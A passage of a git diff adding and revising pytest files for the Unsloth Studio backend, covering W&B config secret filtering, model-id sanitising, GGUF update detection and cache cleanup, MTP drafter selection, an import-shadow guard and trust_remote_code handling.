test_mlx_wandb_run_config_excludes_subject_and_secrets(): + # The MLX W&B run config uploads the whole config minus a sensitive set. The owner's + # subject (authenticated username / API-key id) must be filtered alongside the secrets, + # otherwise it lands in W&B run config even though DB history already strips it. + source = (Path(__file__).resolve().parents[1] / "core" / "training" / "worker.py").read_text() + + assert ( + '_wandb_sensitive = {"hf_token", "wandb_token", "s3_config", "subject"}' in source + ), "MLX W&B run config must exclude subject and the token/s3 secrets" + + def test_mlx_vlm_resize_uses_max_dimension_like_torch_trainer(): assert _mlx_vlm_max_resized_size(1000, 500, 512) == (512, 256) assert _mlx_vlm_max_resized_size(500, 1000, 512) == (256, 512) @@ -239,7 +250,7 @@ def test_activate_transformers_version_or_warn_logs_on_failure(monkeypatch): ) monkeypatch.setattr(_worker, "logger", fake_logger) - def _boom(_name): + def _boom(_name, _hf_token = None): raise RuntimeError("venv .venv_t5_550 missing") monkeypatch.setattr(_worker, "_activate_transformers_version", _boom) @@ -257,7 +268,9 @@ def test_activate_transformers_version_or_warn_silent_on_success(monkeypatch): warning = lambda *a, **k: warnings_logged.append((a, k)), ) monkeypatch.setattr(_worker, "logger", fake_logger) - monkeypatch.setattr(_worker, "_activate_transformers_version", lambda _name: None) + monkeypatch.setattr( + _worker, "_activate_transformers_version", lambda _name, _hf_token = None: None + ) _worker._activate_transformers_version_or_warn("meta-llama/Llama-3-8B") diff --git a/studio/backend/tests/test_model_defaults_none_guard.py b/studio/backend/tests/test_model_defaults_none_guard.py new file mode 100644 index 0000000000..0024ec2201 --- /dev/null +++ b/studio/backend/tests/test_model_defaults_none_guard.py @@ -0,0 +1,35 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""load_model_defaults must not raise on a None/empty model id. + +Before the guard, calling it before a model is selected logged +`Error loading model defaults for None: 'NoneType' object has no attribute 'lower'`. +""" + +from __future__ import annotations + +import logging +import sys +from pathlib import Path + +_BACKEND = Path(__file__).resolve().parent.parent +if str(_BACKEND) not in sys.path: + sys.path.insert(0, str(_BACKEND)) + +from utils.models.model_config import load_model_defaults # noqa: E402 + + +def test_none_and_empty_return_empty_without_error(caplog): + with caplog.at_level(logging.ERROR): + assert load_model_defaults(None) == {} # type: ignore[arg-type] + assert load_model_defaults("") == {} + assert "Error loading model defaults" not in caplog.text + assert "NoneType" not in caplog.text + + +def test_unknown_string_still_returns_defaults_dict(): + # A non-None unknown model name still resolves (falls back to default.yaml), + # i.e. the guard only short-circuits None/empty, nothing else. + result = load_model_defaults("definitely-not-a-real-model-xyz") + assert isinstance(result, dict) diff --git a/studio/backend/tests/test_model_ids.py b/studio/backend/tests/test_model_ids.py new file mode 100644 index 0000000000..f9116afec3 --- /dev/null +++ b/studio/backend/tests/test_model_ids.py @@ -0,0 +1,62 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +import sys +from pathlib import Path + +_BACKEND = Path(__file__).resolve().parents[1] +if str(_BACKEND) not in sys.path: + sys.path.insert(0, str(_BACKEND)) + +from core.inference.model_ids import model_id_matches, public_model_id # noqa: E402 + + +def test_local_gguf_path_becomes_clean_stem(): + assert public_model_id("/srv/models/Qwen3-30B-A3B-Q4_K_M.gguf") == "Qwen3-30B-A3B-Q4_K_M" + assert public_model_id("/home/u/.cache/models/llama.gguf") == "llama" + + +def test_hf_repo_id_unchanged(): + assert public_model_id("unsloth/Qwen3-30B-A3B-GGUF") == "unsloth/Qwen3-30B-A3B-GGUF" + assert public_model_id("Qwen3-30B-A3B") == "Qwen3-30B-A3B" + + +def test_none_and_empty_passthrough(): + assert public_model_id(None) is None + assert public_model_id("") == "" + + +def test_windows_path(): + assert public_model_id("C:\\models\\foo.gguf") == "foo" + assert public_model_id("models\\sub\\bar.gguf") == "bar" + + +def test_directory_path_uses_basename(): + assert public_model_id("/opt/models/MyModelDir") == "MyModelDir" + # A 3+ segment relative path is a local path, not an org/model repo id. + assert public_model_id("a/b/c") == "c" + + +def test_relative_and_home_paths_are_sanitized(): + # ./ ../ ~ prefixed paths are local and must not be echoed raw. + assert public_model_id("./model.gguf") == "model" + assert public_model_id("../models/foo.gguf") == "foo" + assert public_model_id("~/models/baz.gguf") == "baz" + assert public_model_id("./mistral") == "mistral" + assert public_model_id("~/mistral") == "mistral" + assert public_model_id(".\\models\\foo.gguf") == "foo" + + +def test_dotted_repo_id_not_mistaken_for_relative_path(): + # A leading dot that is not ./ or ../ is an ordinary clean name. + assert public_model_id(".hidden-model") == ".hidden-model" + assert public_model_id("org/.config") == "org/.config" + + +def test_matches_clean_and_legacy(): + path = "/srv/models/Qwen3-Q4.gguf" + assert model_id_matches("Qwen3-Q4", path) # clean public id + assert model_id_matches(path, path) # legacy raw path + assert not model_id_matches("other", path) + assert not model_id_matches(None, path) + assert not model_id_matches("x", None) diff --git a/studio/backend/tests/test_model_update_robustness.py b/studio/backend/tests/test_model_update_robustness.py new file mode 100644 index 0000000000..300eb587b3 --- /dev/null +++ b/studio/backend/tests/test_model_update_robustness.py @@ -0,0 +1,465 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 +"""Tests for model-update detection and the GGUF force-download helper. + +Covers: + * GGUF variant listing computes update_available from the already-fetched + sibling metadata instead of a second Hub call. + * hf_hub_download_with_xet_fallback forwards force_download through the shim to the + shared unsloth_zoo helper (which owns the cache-first early-return and its bypass). + +The cache "Update" action now runs through the download manager as a normal +managed download (so it shows in the Downloads panel with progress + cancel), +so the old POST /api/models/update endpoint and its tests are gone. Update +*detection* — the "Update available" cue — is still exercised here. +""" + +import asyncio +import sys +import types +from types import SimpleNamespace + +if "structlog" not in sys.modules: + + class _DummyLogger: + def __getattr__(self, _name): + return lambda *a, **k: None + + sys.modules["structlog"] = types.SimpleNamespace( + BoundLogger = _DummyLogger, get_logger = lambda *a, **k: _DummyLogger() + ) + +import pytest +from hub.services.models import cache_inventory as CI +from hub.services.models import deletion as D +from hub.services.models import gguf_variants as GV + + +def _variants(): + return [ + SimpleNamespace( + filename = "model-Q4_K_M.gguf", + quant = "Q4_K_M", + display_label = None, + size_bytes = 1000, + ), + SimpleNamespace( + filename = "model-Q8_0.gguf", + quant = "Q8_0", + display_label = None, + size_bytes = 2000, + ), + ] + + +def _seed_cache(tmp_path, repo_id, blob_ids, gguf_files): + repo = tmp_path / f"models--{repo_id.replace('/', '--')}" + snap = repo / "snapshots" / ("a" * 40) + snap.mkdir(parents = True, exist_ok = True) + for name, size in gguf_files.items(): + (snap / name).write_bytes(b"\0" * size) + blobs = repo / "blobs" + blobs.mkdir(exist_ok = True) + for b in blob_ids: + (blobs / b).write_bytes(b"x") + return repo, snap, blobs + + +@pytest.fixture +def patch_hub_gguf(monkeypatch): + """Patch GGUF listing and cache scans for sibling-derived update checks.""" + + def _sibling( + path: str, + size: int, + sha = None, + *, + lfs_dict = False, + blob_id = None, + ): + if lfs_dict: + lfs = {"sha256": sha} if sha else {} + else: + lfs = SimpleNamespace(sha256 = sha) if sha else None + return SimpleNamespace(rfilename = path, size = size, lfs = lfs, blob_id = blob_id) + + def _repo_info(repo_id: str, repo_path, files: list[tuple[str, str]]): + return SimpleNamespace( + repo_id = repo_id, + repo_type = "model", + repo_path = repo_path, + revisions = [ + SimpleNamespace( + files = [ + SimpleNamespace( + file_name = name, + blob_path = str(repo_path / "blobs" / blob), + ) + for name, blob in files + ] + ) + ], + ) + + def _apply(tmp_path, repo_id: str, *, local_blob: str, remote_sibling): + with GV._VARIANT_HASH_LOCK: + GV._VARIANT_HASH_CACHE.clear() + GV._VARIANT_REQUIREMENT_CACHE.clear() + GV._VARIANT_REQUIREMENT_NEG_CACHE.clear() + repo, snap, _blobs = _seed_cache( + tmp_path, + repo_id, + blob_ids = [local_blob], + gguf_files = {"model-Q4_K_M.gguf": 1000}, + ) + monkeypatch.setattr( + GV, + "list_gguf_variants", + lambda r, hf_token = None: (_variants(), False, [remote_sibling]), + raising = True, + ) + monkeypatch.setattr(GV, "iter_hf_cache_snapshots", lambda _repo_id: [snap]) + monkeypatch.setattr( + CI, + "all_hf_cache_scans", + lambda: [ + SimpleNamespace( + repos = [ + _repo_info( + repo_id, + repo, + [("model-Q4_K_M.gguf", local_blob)], + ) + ] + ) + ], + ) + + return SimpleNamespace(apply = _apply, sibling = _sibling) + + +def _call(coro): + loop = asyncio.new_event_loop() + try: + return loop.run_until_complete(coro) + finally: + loop.close() + + +# ── GGUF variant update detection ─────────────────────────────── + + +def test_variant_update_check_missing_remote_blob_id_is_not_phantom_update( + tmp_path, patch_hub_gguf +): + """Missing sha/blob metadata is unknown, not update_available=True.""" + repo = "unsloth/gemma-3-4b-it-GGUF" + patch_hub_gguf.apply( + tmp_path, + repo, + local_blob = "oldsha", + remote_sibling = patch_hub_gguf.sibling("model-Q4_K_M.gguf", 1000, None), + ) + resp = _call(GV.get_gguf_variants_response(repo)) + assert len(resp.variants) == 2 + q4 = next(v for v in resp.variants if v.quant == "Q4_K_M") + assert q4.downloaded is True + assert q4.update_available is False + + +def test_variant_update_check_detects_update_from_existing_siblings(tmp_path, patch_hub_gguf): + repo = "unsloth/gemma-3-4b-it-GGUF" + patch_hub_gguf.apply( + tmp_path, + repo, + local_blob = "oldsha", + remote_sibling = patch_hub_gguf.sibling("model-Q4_K_M.gguf", 1000, "NEWsha"), + ) + resp = _call(GV.get_gguf_variants_response(repo)) + q4 = next(v for v in resp.variants if v.quant == "Q4_K_M") + assert q4.update_available is True + + +def test_variant_update_check_no_update_when_blob_matches(tmp_path, patch_hub_gguf): + repo = "unsloth/gemma-3-4b-it-GGUF" + patch_hub_gguf.apply( + tmp_path, + repo, + local_blob = "samesha", + remote_sibling = patch_hub_gguf.sibling("model-Q4_K_M.gguf", 1000, "samesha"), + ) + resp = _call(GV.get_gguf_variants_response(repo)) + q4 = next(v for v in resp.variants if v.quant == "Q4_K_M") + assert q4.update_available is False + + +@pytest.mark.parametrize( + ("companion_path", "has_vision"), + [ + ("mmproj-F16.gguf", True), + ("mtp-drafter-Q8_0.gguf", False), + ], +) +def test_variant_update_check_detects_companion_only_update( + monkeypatch, tmp_path, patch_hub_gguf, companion_path, has_vision +): + repo_id = "unsloth/gemma-4-GGUF" + with GV._VARIANT_HASH_LOCK: + GV._VARIANT_HASH_CACHE.clear() + GV._VARIANT_REQUIREMENT_CACHE.clear() + GV._VARIANT_REQUIREMENT_NEG_CACHE.clear() + repo, snap, _blobs = _seed_cache( + tmp_path, + repo_id, + blob_ids = ["mainsha", "old-companion"], + gguf_files = { + "model-Q4_K_M.gguf": 1000, + companion_path: 100, + }, + ) + siblings = [ + patch_hub_gguf.sibling("model-Q4_K_M.gguf", 1000, "mainsha"), + patch_hub_gguf.sibling(companion_path, 100, "new-companion"), + ] + monkeypatch.setattr( + GV, + "list_gguf_variants", + lambda r, hf_token = None: (_variants(), has_vision, siblings), + raising = True, + ) + monkeypatch.setattr(GV, "iter_hf_cache_snapshots", lambda _repo_id: [snap]) + monkeypatch.setattr( + CI, + "all_hf_cache_scans", + lambda: [ + SimpleNamespace( + repos = [ + SimpleNamespace( + repo_id = repo_id, + repo_type = "model", + repo_path = repo, + revisions = [ + SimpleNamespace( + files = [ + SimpleNamespace( + file_name = "model-Q4_K_M.gguf", + blob_path = str(repo / "blobs" / "mainsha"), + ), + SimpleNamespace( + file_name = companion_path, + blob_path = str(repo / "blobs" / "old-companion"), + ), + ] + ) + ], + ) + ] + ) + ], + ) + + resp = _call(GV.get_gguf_variants_response(repo_id)) + q4 = next(v for v in resp.variants if v.quant == "Q4_K_M") + + assert q4.downloaded is True + assert q4.update_available is True + + +def test_variant_update_check_accepts_lfs_dict_and_blob_id_fallback(tmp_path, patch_hub_gguf): + repo = "unsloth/gemma-3-4b-it-GGUF" + patch_hub_gguf.apply( + tmp_path, + repo, + local_blob = "dictsha", + remote_sibling = patch_hub_gguf.sibling( + "model-Q4_K_M.gguf", + 1000, + "dictsha", + lfs_dict = True, + ), + ) + resp = _call(GV.get_gguf_variants_response(repo)) + assert next(v for v in resp.variants if v.quant == "Q4_K_M").update_available is False + + patch_hub_gguf.apply( + tmp_path, + repo, + local_blob = "blobid", + remote_sibling = patch_hub_gguf.sibling( + "model-Q4_K_M.gguf", + 1000, + None, + blob_id = "blobid", + ), + ) + resp = _call(GV.get_gguf_variants_response(repo)) + assert next(v for v in resp.variants if v.quant == "Q4_K_M").update_available is False + + +def test_cached_model_scan_keeps_local_safetensors_repo(monkeypatch, tmp_path): + repo_path = tmp_path / "models--Org--SafeTensorRepo" + repo = SimpleNamespace( + repo_id = "Org/SafeTensorRepo", + repo_type = "model", + repo_path = repo_path, + revisions = [ + SimpleNamespace( + files = [ + SimpleNamespace( + file_name = "config.json", + size_on_disk = 10, + blob_path = None, + ), + SimpleNamespace( + file_name = "model.safetensors", + size_on_disk = 100, + blob_path = str(repo_path / "blobs" / "modelsha"), + ), + ] + ) + ], + ) + monkeypatch.setattr( + CI, + "all_hf_cache_scans", + lambda: [SimpleNamespace(repos = [repo])], + ) + monkeypatch.setattr( + CI.hf_cache_scan, + "is_snapshot_partial", + lambda *args, **kwargs: False, + ) + + rows = CI._scan_cached_models() + + assert len(rows) == 1 + assert rows[0]["repo_id"] == "Org/SafeTensorRepo" + assert rows[0]["model_format"] == "safetensors" + assert rows[0]["size_bytes"] == 100 + + +# ── hf_hub_download_with_xet_fallback force_download bypass (X2/F2) ─── + + +def test_force_download_is_forwarded_through_the_shim(monkeypatch): + """The shim's contract is to forward force_download unchanged to the shared helper (which owns the + cache-first early-return and bypass). Verify both False and True reach it (X2/F2).""" + import utils.hf_xet_fallback as X + + seen = [] + + def fake_shared(repo_id, filename, token, **kwargs): + seen.append(kwargs.get("force_download")) + return "/downloaded/path" + + monkeypatch.setattr(X, "_shared_hf_hub_download_with_xet_fallback", fake_shared, raising = True) + + X.hf_hub_download_with_xet_fallback( + "unsloth/repo", "model.gguf", token = None, force_download = False + ) + X.hf_hub_download_with_xet_fallback( + "unsloth/repo", "model.gguf", token = None, force_download = True + ) + assert seen == [False, True] # the shim forwards force_download to the shared helper unchanged + + +# ── multi-revision GGUF blob comparison and update reclaim ── +# +# Regression for the phantom "Update available" cue that lingered AFTER a model +# was already updated. A re-download leaves BOTH the old and new revision +# snapshots in the HF cache, so the same gguf file resolves to several blobs. +# The local collection must keep ALL of them (a set per file), and stale hashes +# must be pruned only after the replacement revision verifies. + + +def _rev(*files): + return SimpleNamespace( + files = [SimpleNamespace(file_name = name, blob_path = f"/blobs/{blob}") for name, blob in files] + ) + + +def test_repo_gguf_blob_map_collects_all_revision_blobs(): + """Every cached revision's blob for a gguf file is kept as a set, not + collapsed to one arbitrary blob.""" + repo_info = SimpleNamespace( + revisions = [ + _rev(("lfm2-350m-q4_k_m.gguf", "OLDsha")), + _rev(("lfm2-350m-q4_k_m.gguf", "NEWsha")), + ] + ) + assert CI._repo_gguf_blob_map(repo_info) == {"lfm2-350m-q4_k_m.gguf": {"OLDsha", "NEWsha"}} + + +def test_reclaim_replaced_gguf_variant_prunes_old_revision_only(monkeypatch, tmp_path): + """After a verified update, stale same-variant files/blobs are removed while + the freshly downloaded hash and sibling variants remain cached.""" + repo_id = "org/repo-GGUF" + repo_path = tmp_path / "models--org--repo-GGUF" + old_snap = repo_path / "snapshots" / ("a" * 40) / "model-Q4_K_M.gguf" + new_snap = repo_path / "snapshots" / ("b" * 40) / "model-Q4_K_M.gguf" + sibling_snap = repo_path / "snapshots" / ("b" * 40) / "model-Q8_0.gguf" + old_blob = repo_path / "blobs" / "OLDsha" + new_blob = repo_path / "blobs" / "NEWsha" + sibling_blob = repo_path / "blobs" / "Q8sha" + for path, payload in ( + (old_snap, b"old"), + (new_snap, b"new"), + (sibling_snap, b"sibling"), + (old_blob, b"old-blob"), + (new_blob, b"new-blob"), + (sibling_blob, b"sibling-blob"), + ): + path.parent.mkdir(parents = True, exist_ok = True) + path.write_bytes(payload) + + repo_info = SimpleNamespace( + repo_id = repo_id, + repo_type = "model", + repo_path = repo_path, + revisions = [ + SimpleNamespace( + files = [ + SimpleNamespace( + file_name = "model-Q4_K_M.gguf", + file_path = str(old_snap), + blob_path = str(old_blob), + ) + ] + ), + SimpleNamespace( + files = [ + SimpleNamespace( + file_name = "model-Q4_K_M.gguf", + file_path = str(new_snap), + blob_path = str(new_blob), + ), + SimpleNamespace( + file_name = "model-Q8_0.gguf", + file_path = str(sibling_snap), + blob_path = str(sibling_blob), + ), + ] + ), + ], + ) + monkeypatch.setattr( + CI, + "all_hf_cache_scans", + lambda: [SimpleNamespace(repos = [repo_info])], + ) + invalidated = [] + monkeypatch.setattr(CI, "invalidate_hf_cache_scans", lambda: invalidated.append(True)) + + result = D.reclaim_replaced_gguf_variant(repo_id, "Q4_K_M", frozenset({"NEWsha"})) + + assert result["removed_snapshots"] == 1 + assert result["deleted_blobs"] == 1 + assert result["removed_dirs"] == 1 + assert old_snap.exists() is False + assert old_snap.parent.exists() is False + assert old_blob.exists() is False + assert new_snap.exists() is True + assert new_blob.exists() is True + assert sibling_snap.exists() is True + assert sibling_blob.exists() is True + assert invalidated == [True] diff --git a/studio/backend/tests/test_mtp_drafter_companion.py b/studio/backend/tests/test_mtp_drafter_companion.py index d5e8d13652..86e528ae67 100644 --- a/studio/backend/tests/test_mtp_drafter_companion.py +++ b/studio/backend/tests/test_mtp_drafter_companion.py @@ -23,7 +23,11 @@ if _BACKEND_DIR not in sys.path: from hub.utils.download_manifest import ExpectedFile from hub.utils.gguf import is_mtp_drafter_path -from hub.utils.gguf_plan import build_gguf_variant_plans, plan_from_expected_files +from hub.utils.gguf_plan import ( + build_gguf_variant_plans, + plan_from_expected_files, + preferred_mtp_sibling, +) from utils.models.model_config import ( _is_mtp_drafter, detect_gguf_model, @@ -37,6 +41,8 @@ from utils.models.model_config import ( DRAFTER_CASES = [ ("mtp-gemma-4-12b-it.gguf", True), ("MTP/gemma-4-12b-it-Q8_0-MTP.gguf", True), + # New-scheme MTP/ copies carry the mtp- basename prefix too. + ("MTP/mtp-gemma-4-E4B-it-BF16.gguf", True), ("foo/MTP/bar.gguf", True), ("gemma-4-12b-it-Q8_0.gguf", False), # Baked-in Qwen MTP repos: the head is inside the main GGUF, the file @@ -274,3 +280,178 @@ def test_detect_gguf_model_rejects_mtp_subdir_copy(tmp_path): assert detect_gguf_model(str(copy)) is None # Selecting the MTP dir itself must not surface the copies as models. assert detect_gguf_model(str(sub)) is None + + +# ── Root drafter wins over new-scheme MTP/ copies ──────────────────── +# The MTP/ copies were renamed to share the mtp- basename prefix (e.g. +# MTP/mtp-gemma-4-E4B-it-BF16.gguf). Auto-fetch/load must still resolve the +# small repo-root drafter, not a sort-first MTP/ copy (uppercase precedes +# lowercase, so the subdir path would otherwise win). + +NEW_SCHEME_SIBLINGS = [ + _sib("gemma-4-12b-it-Q4_K_M.gguf", 4_000, "main-q4"), + _sib("gemma-4-12b-it-Q8_0.gguf", 8_000, "main-q8"), + _sib("mtp-gemma-4-12b-it.gguf", 100, "drafter"), + _sib("MTP/mtp-gemma-4-12b-it-Q8_0.gguf", 100, "mtp-sub-q8"), + _sib("MTP/mtp-gemma-4-12b-it-BF16.gguf", 200, "mtp-sub-bf16"), + _sib("mmproj-F16.gguf", 500, "mmproj"), +] + + +def test_preferred_mtp_sibling_prefers_root_over_new_scheme_copies(): + picked = preferred_mtp_sibling(NEW_SCHEME_SIBLINGS) + assert picked is not None and picked.rfilename == "mtp-gemma-4-12b-it.gguf" + + +def test_variant_plans_new_scheme_uses_root_drafter(): + plans = build_gguf_variant_plans(NEW_SCHEME_SIBLINGS) + assert set(plans) == {"q4_k_m", "q8_0"} + for plan in plans.values(): + assert "mtp-gemma-4-12b-it.gguf" in plan.target_filenames + assert not any("MTP/" in name for name in plan.target_filenames) + assert "drafter" in plan.companion_hashes + # Download size = main + mmproj + root drafter (not the 200-byte BF16 copy). + assert plans["q4_k_m"].download_size_bytes == 4_600 + + +def test_download_mtp_prefers_root_over_new_scheme_copies(monkeypatch): + # _pick_mtp is nested; capture it via the companion-download seam. + from core.inference.llama_cpp import LlamaCppBackend + + monkeypatch.delenv("HF_HUB_OFFLINE", raising = False) # online: skip reuse probe + captured = {} + + def _fake_companion( + *, + hf_repo, + hf_token, + pick, + label, + cancel_event = None, + ): + captured["pick"] = pick + return None + + b = LlamaCppBackend() + b._download_companion_gguf = _fake_companion + b._download_mtp(hf_repo = "unsloth/gemma-4-E4B-it-qat-mobile-GGUF") + + repo_files = [ + "MTP/mtp-gemma-4-E4B-it-BF16.gguf", + "MTP/mtp-gemma-4-E4B-it-Q4_0.gguf", + "MTP/mtp-gemma-4-E4B-it-Q8_0.gguf", + "gemma-4-E4B-it-qat-UD-Q2_K_XL.gguf", + "mmproj-F16.gguf", + "mtp-gemma-4-E4B-it.gguf", + ] + assert captured["pick"](repo_files) == "mtp-gemma-4-E4B-it.gguf" + + +# ── Reuse an on-disk drafter offline; fetch fresh online ───────────── + + +def _seed_snapshot(tmp_path, names): + snap = tmp_path / "snap" + for rel in names: + f = snap / rel + f.parent.mkdir(parents = True, exist_ok = True) + f.write_bytes(b"x") + return snap + + +def test_download_mtp_reuses_cached_root_drafter_offline(tmp_path, monkeypatch): + import utils.models.model_config as mc + from core.inference.llama_cpp import LlamaCppBackend + + monkeypatch.setenv("HF_HUB_OFFLINE", "1") + snap = _seed_snapshot( + tmp_path, + [ + "gemma-4-E4B-it-qat-UD-Q2_K_XL.gguf", + "mtp-gemma-4-E4B-it.gguf", + "MTP/mtp-gemma-4-E4B-it-BF16.gguf", + "mmproj-F16.gguf", + ], + ) + monkeypatch.setattr(mc, "_iter_hf_cache_snapshots", lambda repo: [snap]) + + got = LlamaCppBackend()._download_mtp(hf_repo = "unsloth/gemma-4-E4B-it-qat-mobile-GGUF") + assert got is not None and Path(got).name == "mtp-gemma-4-E4B-it.gguf" + + +def test_download_mtp_reuses_cached_subdir_copy_when_no_root_offline(tmp_path, monkeypatch): + # Pre-fix build may have fetched only the MTP/ copy; reuse it offline. + import utils.models.model_config as mc + from core.inference.llama_cpp import LlamaCppBackend + + monkeypatch.setenv("HF_HUB_OFFLINE", "1") + snap = _seed_snapshot( + tmp_path, + [ + "gemma-4-E4B-it-qat-UD-Q2_K_XL.gguf", + "MTP/mtp-gemma-4-E4B-it-BF16.gguf", + ], + ) + monkeypatch.setattr(mc, "_iter_hf_cache_snapshots", lambda repo: [snap]) + + got = LlamaCppBackend()._download_mtp(hf_repo = "unsloth/gemma-4-E4B-it-qat-mobile-GGUF") + assert got is not None and Path(got).name == "mtp-gemma-4-E4B-it-BF16.gguf" + + +def test_download_mtp_prefers_root_across_snapshots_offline(tmp_path, monkeypatch): + # A newer partial snapshot holds only the MTP/ copy; an older one has the + # root. Must still return the small root, not the large subdir copy. + import utils.models.model_config as mc + from core.inference.llama_cpp import LlamaCppBackend + + monkeypatch.setenv("HF_HUB_OFFLINE", "1") + snap_partial = _seed_snapshot(tmp_path / "new", ["MTP/mtp-gemma-4-E4B-it-BF16.gguf"]) + snap_full = _seed_snapshot(tmp_path / "old", ["mtp-gemma-4-E4B-it.gguf"]) + monkeypatch.setattr(mc, "_iter_hf_cache_snapshots", lambda repo: [snap_partial, snap_full]) + + got = LlamaCppBackend()._download_mtp(hf_repo = "unsloth/gemma-4-E4B-it-qat-mobile-GGUF") + assert got is not None and Path(got).name == "mtp-gemma-4-E4B-it.gguf" + + +def test_download_mtp_reuse_follows_snapshot_order_offline(tmp_path, monkeypatch): + # Two snapshots both hold a root drafter; newest-first order must win so a + # fresh main GGUF is not paired with a stale drafter revision. + import utils.models.model_config as mc + from core.inference.llama_cpp import LlamaCppBackend + + monkeypatch.setenv("HF_HUB_OFFLINE", "1") + newest = _seed_snapshot(tmp_path / "newest", ["mtp-gemma-4-E4B-it.gguf"]) + oldest = _seed_snapshot(tmp_path / "oldest", ["mtp-gemma-4-E4B-it.gguf"]) + monkeypatch.setattr(mc, "_iter_hf_cache_snapshots", lambda repo: [newest, oldest]) + + got = LlamaCppBackend()._download_mtp(hf_repo = "unsloth/gemma-4-E4B-it-qat-mobile-GGUF") + assert got is not None and Path(got).parent.parent.name == "newest" + + +def test_download_mtp_online_skips_cache_reuse(tmp_path, monkeypatch): + # Online, do not reuse a cached copy: go to the download path so a changed + # drafter is refetched (hf_hub_download checks the current revision). + import utils.models.model_config as mc + from core.inference.llama_cpp import LlamaCppBackend + + monkeypatch.delenv("HF_HUB_OFFLINE", raising = False) + snap = _seed_snapshot(tmp_path, ["mtp-gemma-4-E4B-it.gguf"]) + monkeypatch.setattr(mc, "_iter_hf_cache_snapshots", lambda repo: [snap]) + + reached = {} + + def _fake_companion( + *, + hf_repo, + hf_token, + pick, + label, + cancel_event = None, + ): + reached["hit"] = True + return None + + b = LlamaCppBackend() + b._download_companion_gguf = _fake_companion + assert b._download_mtp(hf_repo = "unsloth/gemma-4-E4B-it-qat-mobile-GGUF") is None + assert reached.get("hit") is True diff --git a/studio/backend/tests/test_namespace_shadow_guard_pr6269.py b/studio/backend/tests/test_namespace_shadow_guard_pr6269.py index 3ed6636bda..f77345293e 100644 --- a/studio/backend/tests/test_namespace_shadow_guard_pr6269.py +++ b/studio/backend/tests/test_namespace_shadow_guard_pr6269.py @@ -1,15 +1,18 @@ # SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 -"""Verification tests for PR #6269 (training-worker namespace-shadow guard). +"""Verification tests for PR #6269 (namespace-shadow guard). -`_ensure_real_packages` (core/training/trainer.py) drops namespace-package +`ensure_real_packages` (core/import_guards.py) drops namespace-package shadow dirs (a `unsloth`/`unsloth_zoo` dir with no __init__.py on sys.path) before `from unsloth import ...`. Order matters: `unsloth.__init__` runs its ROCm/Windows bnb fixes before importing unsloth_zoo, so the guard must import unsloth first. Each test runs the real guard (ast-extracted from source, no GPU/torch) in a subprocess, with fake packages reachable only via a meta path finder to mimic an editable/PEP 660 install where the shadow wins. + +Originally defined in core/training/trainer.py; extracted to the shared +core/import_guards.py so the inference, export and embedding workers reuse it. """ import json @@ -21,7 +24,7 @@ from pathlib import Path import pytest -TRAINER_PY = Path(__file__).resolve().parents[1] / "core" / "training" / "trainer.py" +GUARD_PY = Path(__file__).resolve().parents[1] / "core" / "import_guards.py" # ── fake package bodies ────────────────────────────────────────────── @@ -62,17 +65,17 @@ _DRIVER = textwrap.dedent( cfg = json.load(open(sys.argv[1])) - # Extract the real _ensure_real_packages from trainer.py source without - # importing the heavy module or its `from unsloth import ...` line. - src = open(cfg["trainer_py"]).read() + # Extract the real ensure_real_packages from import_guards.py source + # without importing the heavy module or its `from unsloth import ...` line. + src = open(cfg["guard_py"]).read() tree = ast.parse(src) fn = next(n for n in tree.body - if isinstance(n, ast.FunctionDef) and n.name == "_ensure_real_packages") + if isinstance(n, ast.FunctionDef) and n.name == "ensure_real_packages") mod = ast.Module(body=[fn], type_ignores=[]) ast.fix_missing_locations(mod) ns = {"os": os, "sys": sys} - exec(compile(mod, cfg["trainer_py"], "exec"), ns) - _ensure_real_packages = ns["_ensure_real_packages"] + exec(compile(mod, cfg["guard_py"], "exec"), ns) + _ensure_real_packages = ns["ensure_real_packages"] # Under -S site-packages is off, so a shadow root placed first wins the # path finder; the real packages come only from the meta finder below. @@ -148,7 +151,7 @@ def _run( shadow_roots, real: bool, names = ("unsloth_zoo", "unsloth"), - trainer_py: Path = TRAINER_PY, + guard_py: Path = GUARD_PY, raise_on_invalidate: bool = False, ): order_file = tmp_path / "order.txt" @@ -159,7 +162,7 @@ def _run( _make_real_pkg(real_root) cfg = { - "trainer_py": str(trainer_py), + "guard_py": str(guard_py), "shadow_roots": [str(r) for r in shadow_roots], "real_root": str(real_root) if real else None, "names": list(names), diff --git a/studio/backend/tests/test_native_template_trust_remote_code.py b/studio/backend/tests/test_native_template_trust_remote_code.py new file mode 100644 index 0000000000..60dc80f64c --- /dev/null +++ b/studio/backend/tests/test_native_template_trust_remote_code.py @@ -0,0 +1,176 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Regression tests for trust_remote_code in the native-template fallback. + +``render_native_template`` re-fetches a model's native chat template from its +repo when an Unsloth override template (mistral, gemma-4) dropped the tools +schema. For a model loaded with ``trust_remote_code=True`` whose tokenizer repo +carries custom code, the secondary ``AutoTokenizer.from_pretrained`` must re-use +that same consent or transformers raises (it requires ``trust_remote_code`` to +instantiate a custom tokenizer class), the ``except`` swallows it, and the +request silently keeps the tool-dropping prompt even though the user already +consented to remote code for the model load. + +These tests pin that the stored ``trust_remote_code`` is threaded to the reload, +that the reload is skipped (returns ``None`` without executing code) when no +consent is stored, and that both backend ``model_info`` dicts persist the flag at +load time so the read lands on a value ``load_model`` actually set. +""" + +from __future__ import annotations + +import importlib.util +import sys +from pathlib import Path + +import pytest + + +_BACKEND_DIR = str(Path(__file__).resolve().parent.parent) +if _BACKEND_DIR not in sys.path: + sys.path.insert(0, _BACKEND_DIR) + +# ``chat_template_helpers`` is dependency-light (copy / logging / typing, with the +# transformers import deferred inside the function). Load it directly so the test +# runs without importing the heavy ``core.inference`` package (unsloth / torch). +_HELPERS_PATH = Path(_BACKEND_DIR) / "core" / "inference" / "chat_template_helpers.py" +_spec = importlib.util.spec_from_file_location("_native_tpl_trc_test", _HELPERS_PATH) +chat_template_helpers = 